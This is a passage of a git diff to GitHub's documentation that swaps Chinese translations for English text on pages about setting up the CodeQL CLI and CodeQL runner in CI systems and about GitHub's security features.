%}/github/codeql-action/releases/latest/download/codeql-bundle-linux64.tar.gz $ tar -xvzf ../codeql-bundle-linux64.tar.gz ``` -提取 {% data variables.product.prodname_codeql_cli %} 包后，您可以在服务器上运行 `codeql` 可执行文件： +After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the `codeql` executable on the server: -- 通过执行 `//codeql/codeql`，其中 `` 是您提取 {% data variables.product.prodname_codeql_cli %} 包的文件夹。 -- 通过将 `//codeql` 添加到 `PATH`，以便您可以像 `codeql` 一样运行可执行文件。 +- By executing `//codeql/codeql`, where `` is the folder where you extracted the {% data variables.product.prodname_codeql_cli %} bundle. +- By adding `//codeql` to your `PATH`, so that you can run the executable as just `codeql`. -## 测试 {% data variables.product.prodname_codeql_cli %} 设置 +## Testing the {% data variables.product.prodname_codeql_cli %} set up -提取 {% data variables.product.prodname_codeql_cli %} 包后，您可以运行以下命令来验证是否正确设置了 CLI 以创建和分析数据库。 +After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the following command to verify that the CLI is correctly set up to create and analyze databases. -- `codeql resolve qlpacks`（如果 `//codeql` 在 `PATH` 上）。 -- 或 `//codeql/codeql resolve qlpacks`。 +- `codeql resolve qlpacks` if `//codeql` is on the `PATH`. +- `//codeql/codeql resolve qlpacks` otherwise. -**从成功的输出提取：** +**Extract from successful output:** ``` codeql-cpp (//codeql/qlpacks/codeql-cpp) codeql-cpp-examples (//codeql/qlpacks/codeql-cpp-examples) @@ -93,12 +92,12 @@ codeql-python-upgrades (//codeql/qlpacks/codeql-python-upgrades ... ``` -您应该检查输出是否包含预期的语言，以及 qlpack 文件的目录位置是否正确。 位置应在提取的 {% data variables.product.prodname_codeql_cli %} 捆绑包内，如上图所示为 ``，除非您使用的是 `github/codeql`的检出。 如果 {% data variables.product.prodname_codeql_cli %} 找不到预期语言的 qlpacks，请检查您是否下载了 {% data variables.product.prodname_codeql %} 捆绑包，而不是 {% data variables.product.prodname_codeql_cli %} 的独立副本。 +You should check that the output contains the expected languages and also that the directory location for the qlpack files is correct. The location should be within the extracted {% data variables.product.prodname_codeql_cli %} bundle, shown above as ``, unless you are using a checkout of `github/codeql`. If the {% data variables.product.prodname_codeql_cli %} is unable to locate the qlpacks for the expected languages, check that you downloaded the {% data variables.product.prodname_codeql %} bundle and not a standalone copy of the {% data variables.product.prodname_codeql_cli %}. -## 使用 {% data variables.product.product_name %} 生成用于身份验证的令牌 +## Generating a token for authentication with {% data variables.product.product_name %} -每个 CI 服务器都需要 {% data variables.product.prodname_github_app %} 或用于 {% data variables.product.prodname_codeql_cli %} 的个人访问令牌，才能将结果上传到 {% data variables.product.product_name %}。 您必须使用具有 `>security_events` 写入权限的访问令牌或 {% data variables.product.prodname_github_app %}。 如果CI 服务器已使用具有此作用域的令牌从 {% data variables.product.product_name %} 检出仓库， 您可以允许 {% data variables.product.prodname_codeql_cli %} 使用相同的令牌。 否则，您应该创建具有 `security_events` 写入权限的新令牌，然后将其添加到 CI 系统的密钥存储区。 更多信息请参阅“[构建 {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)”和“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 +Each CI server needs a {% data variables.product.prodname_github_app %} or personal access token for the {% data variables.product.prodname_codeql_cli %} to use to upload results to {% data variables.product.product_name %}. You must use an access token or a {% data variables.product.prodname_github_app %} with the `security_events` write permission. If CI servers already use a token with this scope to checkout repositories from {% data variables.product.product_name %}, you could potentially allow the {% data variables.product.prodname_codeql_cli %} to use the same token. Otherwise, you should create a new token with the `security_events` write permission and add this to the CI system's secret store. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." -## 后续步骤 +## Next steps -您现在可以配置 CI 系统运行 {% data variables.product.prodname_codeql %} 分析、生成结果并上传到 {% data variables.product.product_name %}，在那里结果将匹配分支或拉取请求并显示为 {% data variables.product.prodname_code_scanning %} 警报。 有关详细信息，请参阅“[在 CI 系统中配置 {% data variables.product.prodname_codeql_cli %}](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)”。 +You're now ready to configure the CI system to run {% data variables.product.prodname_codeql %} analysis, generate results, and upload them to {% data variables.product.product_name %} where the results will be matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. For detailed information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)." diff --git a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md index 4058ab5e6f..14ce3be757 100644 --- a/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md +++ b/translations/zh-CN/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: 在 CI 系统中运行 CodeQL 运行器 -shortTitle: 运行 CodeQL 运行器 -intro: '您可以使用 {% data variables.product.prodname_codeql_runner %} 在第三方持续集成系统中执行 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}。' +title: Running CodeQL runner in your CI system +shortTitle: Run CodeQL runner +intro: 'You can use the {% data variables.product.prodname_codeql_runner %} to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-code-scanning-in-your-ci-system @@ -25,7 +25,6 @@ topics: - CI - SARIF --- - @@ -33,93 +32,94 @@ topics: {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## 关于 {% data variables.product.prodname_codeql_runner %} +## About the {% data variables.product.prodname_codeql_runner %} -{% data variables.product.prodname_codeql_runner %} 是可以用来在第三方持续集成 (CI) 系统中处理的代码上运行 {% data variables.product.prodname_code_scanning %} 的工具。 {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." +The {% data variables.product.prodname_codeql_runner %} is a tool you can use to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -在许多情况下，在 CI 系统中直接使用 {% data variables.product.prodname_codeql_cli %} 设置 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} 更简单。 +In many cases it is easier to set up {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %} directly in your CI system. {% endif %} -您也可以使用 {% data variables.product.prodname_actions %} 在 {% data variables.product.product_name %} 中运行 {% data variables.product.prodname_code_scanning %}。 相关信息请参阅“[为仓库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)”。 +Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." -{% data variables.product.prodname_codeql_runner %} 是在 {% data variables.product.prodname_dotcom %} 仓库的检出上运行 {% data variables.product.prodname_codeql %} 分析的命令行工具。 您可以将运行器添加到第三方系统，然后调用运行器以分析代码并将结果上传到 {% data variables.product.product_name %}。 这些结果在仓库中显示为 {% data variables.product.prodname_code_scanning %} 警报。 +The {% data variables.product.prodname_codeql_runner %} is a command-line tool that runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. You add the runner to your third-party system, then call the runner to analyze code and upload the results to {% data variables.product.product_name %}. These results are displayed as {% data variables.product.prodname_code_scanning %} alerts in the repository. {% note %} -**注:** +**Note:** {% ifversion fpt or ghec %} -* {% data variables.product.prodname_codeql_runner %} 使用 {% data variables.product.prodname_codeql %} CLI 来分析代码，因此具有相同的许可条件。 它可自由用于 {% data variables.product.prodname_dotcom_the_website %} 上维护的公共仓库，并且可用于具有 {% data variables.product.prodname_advanced_security %} 许可证的客户所拥有的私有仓库。 有关信息请参阅“[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} 条款和条件](https://securitylab.github.com/tools/codeql/license)”和“[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)”。 +* The {% data variables.product.prodname_codeql_runner %} uses the {% data variables.product.prodname_codeql %} CLI to analyze code and therefore has the same license conditions. It's free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." {% else %} -* {% data variables.product.prodname_codeql_runner %} 可用于拥有 {% data variables.product.prodname_advanced_security %} 许可证的客户。 +* The {% data variables.product.prodname_codeql_runner %} is available to customers with an {% data variables.product.prodname_advanced_security %} license. {% endif %} {% ifversion ghes < 3.1 or ghae %} -* 请勿将 {% data variables.product.prodname_codeql_runner %} 与 {% data variables.product.prodname_codeql %} CLI 混淆。 {% data variables.product.prodname_codeql %} CLI 是一个命令行接口，允许您创建用于安全研究的 {% data variables.product.prodname_codeql %} 数据库并运行 {% data variables.product.prodname_codeql %} 查询。 更多信息请参阅“[{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/)”。 +* The {% data variables.product.prodname_codeql_runner %} shouldn't be confused with the {% data variables.product.prodname_codeql %} CLI. The {% data variables.product.prodname_codeql %} CLI is a command-line interface that lets you create {% data variables.product.prodname_codeql %} databases for security research and run {% data variables.product.prodname_codeql %} queries. +For more information, see "[{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/)." {% endif %} {% endnote %} -## 下载 {% data variables.product.prodname_codeql_runner %} +## Downloading the {% data variables.product.prodname_codeql_runner %} -您可以从 https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases 下载 {% data variables.product.prodname_codeql_runner %} 。 在某些操作系统上，您可能需要更改下载文件的权限才能运行它。 +You can download the {% data variables.product.prodname_codeql_runner %} from https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases. On some operating systems, you may need to change permissions for the downloaded file before you can run it. -在 Linux 上： +On Linux: ```shell chmod +x codeql-runner-linux ``` -在 macOS 中: +On macOS: ```shell chmod +x codeql-runner-macos sudo xattr -d com.apple.quarantine codeql-runner-macos ``` -You should call the {% data variables.product.prodname_codeql_runner %} from the checkout location of the repository you want to analyze. The two main commands are: +On Windows, the `codeql-runner-win.exe` file usually requires no change to permissions. -## 将 {% data variables.product.prodname_codeql_runner %} 添加到 CI 系统 +## Adding the {% data variables.product.prodname_codeql_runner %} to your CI system -下载 {% data variables.product.prodname_codeql_runner %} 并确认它可执行后，应将运行器提供给您打算用于 {% data variables.product.prodname_code_scanning %} 的每个 CI 服务器。 例如，您可以配置每台服务器从中央内部位置复制运行器。 或者，您也可以使用 REST API 直接从 {% data variables.product.prodname_dotcom %} 获取运行器，例如： +Once you download the {% data variables.product.prodname_codeql_runner %} and verify that it can be executed, you should make the runner available to each CI server that you intend to use for {% data variables.product.prodname_code_scanning %}. For example, you might configure each server to copy the runner from a central, internal location. Alternatively, you could use the REST API to get the runner directly from {% data variables.product.prodname_dotcom %}, for example: ```shell wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-runner-linux chmod +x codeql-runner-linux ``` -除此之外，每个 CI 服务器还需要： +In addition to this, each CI server also needs: -- {% data variables.product.prodname_github_app %} 或供 {% data variables.product.prodname_codeql_runner %} 使用的个人访问令牌。 您必须使用范围为 `repo` 的访问令牌，或者具有 `security_events` 写入权限以及 `metadata` 和 `contents` 读取权限的 {% data variables.product.prodname_github_app %}。 更多信息请参阅“[构建 {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)”和“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 -- 访问与此 {% data variables.product.prodname_codeql_runner %} 发行版相关联的 {% data variables.product.prodname_codeql %} 包。 此包包含 {% data variables.product.prodname_codeql %} 分析所需的查询和库，以及供运行器内部使用的 {% data variables.product.prodname_codeql %} CLI。 更多信息请参阅“[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)”。 +- A {% data variables.product.prodname_github_app %} or personal access token for the {% data variables.product.prodname_codeql_runner %} to use. You must use an access token with the `repo` scope, or a {% data variables.product.prodname_github_app %} with the `security_events` write permission, and `metadata` and `contents` read permissions. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." +- Access to the {% data variables.product.prodname_codeql %} bundle associated with this release of the {% data variables.product.prodname_codeql_runner %}. This package contains queries and libraries needed for {% data variables.product.prodname_codeql %} analysis, plus the {% data variables.product.prodname_codeql %} CLI, which is used internally by the runner. For information, see "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." -提供 {% data variables.product.prodname_codeql %} 包访问权限的选项： +The options for providing access to the {% data variables.product.prodname_codeql %} bundle are: -1. 允许 CI 服务器访问 https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action so that the {% data variables.product.prodname_codeql_runner %} 可以自动下载捆绑包。 -1. 手动下载/提取捆绑包，将其与其他中央资源一起存储，并使用 `--codeql-path` 标记指定捆绑包在调用中的位置，以初始化 {% data variables.product.prodname_codeql_runner %}。 +1. Allow the CI servers access to https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action so that the {% data variables.product.prodname_codeql_runner %} can download the bundle automatically. +1. Manually download/extract the bundle, store it with other central resources, and use the `--codeql-path` flag to specify the location of the bundle in calls to initialize the {% data variables.product.prodname_codeql_runner %}. -## 调用 {% data variables.product.prodname_codeql_runner %} +## Calling the {% data variables.product.prodname_codeql_runner %} -您应该从要分析的仓库的检出位置调用 {% data variables.product.prodname_codeql_runner %}。 两个主要命令是： +You should call the {% data variables.product.prodname_codeql_runner %} from the checkout location of the repository you want to analyze. The two main commands are: -1. `init` 需要初始化运行器并为需要分析的每种语言创建一个 {% data variables.product.prodname_codeql %} 数据库。 这些数据库由后续命令填充和分析。 -1. `analyze` 需要填充 {% data variables.product.prodname_codeql %} 数据库、进行分析并将结果上传到 {% data variables.product.product_name %}。 +1. `init` required to initialize the runner and create a {% data variables.product.prodname_codeql %} database for each language to be analyzed. These databases are populated and analyzed by subsequent commands. +1. `analyze` required to populate the {% data variables.product.prodname_codeql %} databases, analyze them, and upload results to {% data variables.product.product_name %}. -对于这两个命令，都必须指定 {% data variables.product.product_name %} 的 URL、仓库 *OWNER/NAME*以及 {% data variables.product.prodname_github_apps %} 或用于身份验证的个人访问令牌。 您还需要指定 CodeQL 捆绑包的位置，除非 CI 服务器能够直接从 `github/codeql-action` 仓库下载它。 +For both commands, you must specify the URL of {% data variables.product.product_name %}, the repository *OWNER/NAME*, and the {% data variables.product.prodname_github_apps %} or personal access token to use for authentication. You also need to specify the location of the CodeQL bundle, unless the CI server has access to download it directly from the `github/codeql-action` repository. -您可以配置 {% data variables.product.prodname_codeql_runner %} 存储 CodeQL 包的位置以便将来在服务器上进行分析，使用： `--tools-dir` 标志；并配置在分析过程中存储临时文件的位置，使用： `--temp-dir`. +You can configure where the {% data variables.product.prodname_codeql_runner %} stores the CodeQL bundle for future analysis on a server using the `--tools-dir` flag and where it stores temporary files during analysis using `--temp-dir`. -要查看运行器的命令行引用，请使用 `-h` 标志。 例如，要列出所有运行的命令：`codeql-runner-OS -h`，或列出所有可用于 `init` 命令运行的标志：`codeql-runner-OS init -h`（其中 `OS` 因使用的可执行文件而异）。 更多信息请参阅“[在 CI 系统中配置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference)”。 +To view the command-line reference for the runner, use the `-h` flag. For example, to list all commands run: `codeql-runner-OS -h`, or to list all the flags available for the `init` command run: `codeql-runner-OS init -h` (where `OS` varies according to the executable that you are using). For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference)." {% data reusables.code-scanning.upload-sarif-alert-limit %} -### 基本示例 +### Basic example -此示例在 Linux CI 服务器上对托管在 `{% data variables.command_line.git_url_example %}` 上的 `octo-org/example-repo` 仓库运行 {% data variables.product.prodname_codeql %} 分析。 这个过程非常简单，因为仓库只包含可通过 {% data variables.product.prodname_codeql %} 直接分析的语言，而无需构建（例如 Go、JavaScript、Python 和 TypeScript）。 +This example runs {% data variables.product.prodname_codeql %} analysis on a Linux CI server for the `octo-org/example-repo` repository hosted on `{% data variables.command_line.git_url_example %}`. The process is very simple because the repository contains only languages that can be analyzed by {% data variables.product.prodname_codeql %} directly, without being built (that is, Go, JavaScript, Python, and TypeScript). -在此示例中，服务器可以直接从 `github/codeql-action` 仓库下载 {% data variables.product.prodname_codeql %} 捆绑包，因此无需使用 `--codeql-path` 标记。 +In this example, the server has access to download the {% data variables.product.prodname_codeql %} bundle directly from the `github/codeql-action` repository, so there is no need to use the `--codeql-path` flag. -1. 检出要分析的仓库。 -1. 移至检出仓库的目录。 -1. 初始化 {% data variables.product.prodname_codeql_runner %} 并为检测到的语言创建 {% data variables.product.prodname_codeql %}。 +1. Check out the repository to analyze. +1. Move into the directory where the repository is checked out. +1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected. {% ifversion ghes < 3.1 %} ```shell @@ -138,13 +138,13 @@ chmod +x codeql-runner-linux {% data reusables.code-scanning.codeql-runner-analyze-example %} -### 编译语言示例 +### Compiled language example -此示例与前面的示例相似，但此例中的仓库含有用 C/C++、C# 或 Java 编写的代码。 要为这些语言创建 {% data variables.product.prodname_codeql %} 数据库，CLI 需要监控构建。 在初始化过程结束时，运行器会报告您需要在构建代码之前设置环境的命令。 您需要在调用正常的 CI 构建进程之前运行此命令，然后运行 `analyze` 命令。 +This example is similar to the previous example, however this time the repository has code in C/C++, C#, or Java. To create a {% data variables.product.prodname_codeql %} database for these languages, the CLI needs to monitor the build. At the end of the initialization process, the runner reports the command you need to set up the environment before building the code. You need to run this command, before calling the normal CI build process, and then running the `analyze` command. -1. 检出要分析的仓库。 -1. 移至检出仓库的目录。 -1. 初始化 {% data variables.product.prodname_codeql_runner %} 并为检测到的语言创建 {% data variables.product.prodname_codeql %}。 +1. Check out the repository to analyze. +1. Move into the directory where the repository is checked out. +1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected. {% ifversion ghes < 3.1 %} ```shell $ /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo-2 @@ -162,23 +162,23 @@ chmod +x codeql-runner-linux ". /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh". ``` {% endif %} -1. 获取通过 `init` 操作生成的脚本，以设置监控构建的环境。 请注意以下代码片段中的先导点和空间。 +1. Source the script generated by the `init` action to set up the environment to monitor the build. Note the leading dot and space in the following code snippet. ```shell $ . /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh ``` -1. 构建代码。 在 macOS 上，您需要使用环境变量 `$CODEQL_RUNNER` 构建命令前缀。 更多信息请参阅“[在 CI 系统中疑难排解 {% data variables.product.prodname_codeql_runner %}](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)”。 +1. Build the code. On macOS, you need to prefix the build command with the environment variable `$CODEQL_RUNNER`. For more information, see "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)." {% data reusables.code-scanning.codeql-runner-analyze-example %} {% note %} -**注：**如果使用容器化构建，您需要在进行构建任务的容器中运行 {% data variables.product.prodname_codeql_runner %}。 +**Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_runner %} in the container where your build task takes place. {% endnote %} -## 延伸阅读 +## Further reading -- "[在 CI 系统中配置 {% data variables.product.prodname_codeql_runner %}](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)" -- "[CI 系统中的{% data variables.product.prodname_codeql_runner %} 故障排除](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)" +- "[Configuring {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)" +- "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)" diff --git a/translations/zh-CN/content/code-security/getting-started/github-security-features.md b/translations/zh-CN/content/code-security/getting-started/github-security-features.md index 1500b3cc35..f6811cfb39 100644 --- a/translations/zh-CN/content/code-security/getting-started/github-security-features.md +++ b/translations/zh-CN/content/code-security/getting-started/github-security-features.md @@ -1,6 +1,6 @@ --- -title: GitHub 安全功能 -intro: '{% data variables.product.prodname_dotcom %} 安全功能概述。' +title: GitHub security features +intro: 'An overview of {% data variables.product.prodname_dotcom %} security features.' versions: fpt: '*' ghes: '*' @@ -14,32 +14,33 @@ topics: - Advanced Security --- -## 关于 {% data variables.product.prodname_dotcom %} 安全功能 +## About {% data variables.product.prodname_dotcom %}'s security features -{% data variables.product.prodname_dotcom %} 具有安全功能，有助于在仓库和组织间保持代码和秘密安全。 某些安全功能适用于所有仓库，另一些仅适用于{% ifversion fpt or ghec %}公共仓库，以及{% endif %}具有 {% data variables.product.prodname_GH_advanced_security %} 许可的仓库。 +{% data variables.product.prodname_dotcom %} has security features that help keep code and secrets secure in repositories and across organizations. Some features are available for all repositories and others are only available {% ifversion fpt or ghec %}for public repositories and for repositories {% endif %}with a {% data variables.product.prodname_GH_advanced_security %} license. -{% data variables.product.prodname_advisory_database %} 包含您可以查看、搜索和过滤的安全漏洞列表。 {% data reusables.security-advisory.link-browsing-advisory-db %} +The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that you can view, search, and filter. {% data reusables.security-advisory.link-browsing-advisory-db %} {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -## 适用于所有仓库 +## Available for all repositories {% endif %} {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -### 安全策略 - -让您的用户能够轻松地秘密报告他们在仓库中发现的安全漏洞。 更多信息请参阅“[添加安全政策到仓库](/code-security/getting-started/adding-a-security-policy-to-your-repository)”。 +### Security policy + +Make it easy for your users to confidentially report security vulnerabilities they've found in your repository. For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)." {% endif %} {% ifversion fpt or ghec %} -### 安全通告 +### Security advisories -私下讨论并修复仓库代码中的安全漏洞。 然后，您可以发布安全通告，提醒您的社区注意漏洞并鼓励社区成员升级。 更多信息请参阅“[关于 {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)”。 +Privately discuss and fix security vulnerabilities in your repository's code. You can then publish a security advisory to alert your community to the vulnerability and encourage community members to upgrade. For more information, see "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)." {% endif %} {% ifversion fpt or ghec or ghes > 3.2 %} -### {% data variables.product.prodname_dependabot_alerts %} 和安全更新 +### {% data variables.product.prodname_dependabot_alerts %} and security updates -查看有关已知包含安全漏洞的依赖项的警报，并选择是否自动生成拉取请求以更新这些依赖项。 更多信息请参阅“[关于漏洞依赖项的警报](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)”和“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)”。 +View alerts about dependencies that are known to contain security vulnerabilities, and choose whether to have pull requests generated automatically to update these dependencies. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" +and "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." {% endif %} {% ifversion ghes < 3.3 or ghae-issue-4864 %} @@ -47,42 +48,42 @@ topics: {% data reusables.dependabot.dependabot-alerts-beta %} -查看有关已知包含安全漏洞的依赖项的警报，并管理这些警报。 更多信息请参阅“[关于易受攻击的依赖项的警报](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)”。 +View alerts about dependencies that are known to contain security vulnerabilities, and manage these alerts. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." {% endif %} {% ifversion fpt or ghec or ghes > 3.2 %} -### {% data variables.product.prodname_dependabot %} 版本更新 +### {% data variables.product.prodname_dependabot %} version updates -使用 {% data variables.product.prodname_dependabot %} 自动提出拉取请求以保持依赖项的更新。 这有助于减少您暴露于旧版本依赖项。 如果发现安全漏洞，使用更新后的版本就更容易打补丁，{% data variables.product.prodname_dependabot_security_updates %} 也更容易成功地提出拉取请求以升级有漏洞的依赖项。 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)”。 +Use {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. This helps reduce your exposure to older versions of dependencies. Using newer versions makes it easier to apply patches if security vulnerabilities are discovered, and also makes it easier for {% data variables.product.prodname_dependabot_security_updates %} to successfully raise pull requests to upgrade vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)." {% endif %} {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -### 依赖关系图 -依赖关系图允许您探索仓库所依赖的生态系统和包，以及依赖于您的仓库的仓库和包。 +### Dependency graph +The dependency graph allows you to explore the ecosystems and packages that your repository depends on and the repositories and packages that depend on your repository. -您可以在仓库的 **Insights（洞察）**选项卡上找到依赖项图。 更多信息请参阅“[关于依赖关系图](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)”。 +You can find the dependency graph on the **Insights** tab for your repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." {% endif %} -## 适用{% ifversion fpt or ghec %}于公共仓库以及具有 {% data variables.product.prodname_advanced_security %} 的仓库{% endif %} +## Available {% ifversion fpt or ghec %}for public repositories and for repositories {% endif %}with {% data variables.product.prodname_advanced_security %} {% ifversion fpt or ghes or ghec %} -这些功能{% ifversion fpt or ghec %}适用于所有公共仓库，以及由{% else %}您具有 {% endif %} {% data variables.product.prodname_advanced_security %} 许可的组织拥有的仓库。 {% data reusables.advanced-security.more-info-ghas %} +These features are available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. {% data reusables.advanced-security.more-info-ghas %} {% endif %} -### {% data variables.product.prodname_code_scanning_capc %} 警报 +### {% data variables.product.prodname_code_scanning_capc %} alerts -自动检测新代码或修改代码中的安全漏洞和编码错误。 潜在的问题被高亮显示，并附有详细信息，允许您在将代码合并到默认分支之前修复它。 更多信息请参阅“[关于代码扫描](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)”。 +Automatically detect security vulnerabilities and coding errors in new or modified code. Potential problems are highlighted, with detailed information, allowing you to fix the code before it's merged into your default branch. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)." -### {% data variables.product.prodname_secret_scanning_caps %} 警报 +### {% data variables.product.prodname_secret_scanning_caps %} alerts -{% ifversion fpt or ghec %}对于私人仓库，请查看{% else %}查看{% endif %} {% data variables.product.prodname_dotcom %} 在您的代码中找到的任何机密。 应将已检入仓库的令牌或凭据视为已泄露。 更多信息请参阅“[关于密钥扫描](/github/administering-a-repository/about-secret-scanning)”。 +{% ifversion fpt or ghec %}For private repositories, view {% else %}View {% endif %}any secrets that {% data variables.product.prodname_dotcom %} has found in your code. You should treat tokens or credentials that have been checked into the repository as compromised. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %} -### 依赖项审查 +### Dependency review -在合并拉取请求之前显示依赖项更改的全部影响以及任何有漏洞版本的详情。 更多信息请参阅“[关于依赖项审查](/code-security/supply-chain-security/about-dependency-review)”。 +Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)." {% endif %} -## 延伸阅读 -- “[{% data variables.product.prodname_dotcom %} 的产品](/github/getting-started-with-github/githubs-products)” -- "[{% data variables.product.prodname_dotcom %} 语言支持](/github/getting-started-with-github/github-language-support)" +## Further reading +- "[{% data variables.product.prodname_dotcom %}'s 